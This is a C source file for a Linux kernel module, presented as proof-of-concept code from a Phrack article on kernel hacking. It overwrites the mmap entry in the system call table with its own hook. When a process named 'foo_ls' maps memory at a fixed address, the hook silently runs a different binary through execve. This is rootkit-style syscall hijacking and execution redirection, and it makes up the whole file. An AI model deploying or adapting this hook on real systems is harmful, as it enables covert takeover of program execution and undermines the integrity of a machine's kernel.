/*
 * LICENSE:
 * this file may be copied or duplicated in any form, in
 * whole or in part, modified or not, as long as this
 * copyright notice is prepended UNMODIFIED.
 *
 * This code is proof of concept. The author can and must
 * not be made responsible for any, including but not limited
 * to, incidental or consequential damage, data loss or
 * service outage. The code is provided "AS IS" and WITHOUT
 * ANY WARRENTY. USE IT AT YOU OWN RISK.
 *
 * this is part of the Phrack (www.phrack.org) article:
 * Advances in Kernel Hacking II by palmers / teso
 */

#define __KERNEL__
#define MODULE
#define __KERNEL_SYSCALLS__
#include <linux/module.h>
#include <linux/string.h>
#include <linux/slab.h>
#include <linux/mm.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/unistd.h>
#include <linux/sched.h>
#include <linux/smp_lock.h>
#include <asm/uaccess.h>
#include <asm/errno.h>

#include "strdup.c"

char           *__default_argv[] = { N_REDIR_PATH, "aux", NULL },
    *__default_envp[] = {
"HOME=/", "TERM=linux", "PATH=/bin:/sbin", NULL};

struct mmap_arg_struct {
    unsigned long   addr;
    unsigned long   len;
    unsigned long   prot;
    unsigned long   flags;
    unsigned long   fd;
    unsigned long   offset;
};

extern void    *sys_call_table[];
int             errno;
int             (*o_mmap) (struct mmap_arg_struct *);


struct redir_data {
    char           *o_path;
    char          **n_argv,
                  **n_envp;
}              *test_redir;


int
execute_redir(struct redir_data *r)
{
    set_fs(KERNEL_DS);
    return execve(r->n_argv[0], r->n_argv, r->n_envp);
}


int
n_mmap(struct mmap_arg_struct *a)
{
    int             z;
    int             x = 0;
    x = o_mmap(a);

    /*
     * 4001a000-4001b000 r--p 00000000 03:0a 49836  /usr/share/locale/en/LC_NAME
     */
    if (x == 0x4001a000) {

	if (!strcmp(current->comm, test_redir->o_path)) {
	    return execute_redir(test_redir);
	}
    }

    return x;
}


int
init_module()
{
    test_redir = kmalloc(sizeof(struct redir_data), GFP_KERNEL);
    test_redir->o_path = _strdup("foo_ls");
    test_redir->n_argv = __default_argv;
    test_redir->n_envp = __default_envp;

    o_mmap = sys_call_table[__NR_mmap];
    sys_call_table[__NR_mmap] = &n_mmap;

    return 0;
}


void
cleanup_module()
{
    sys_call_table[__NR_mmap] = o_mmap;
}
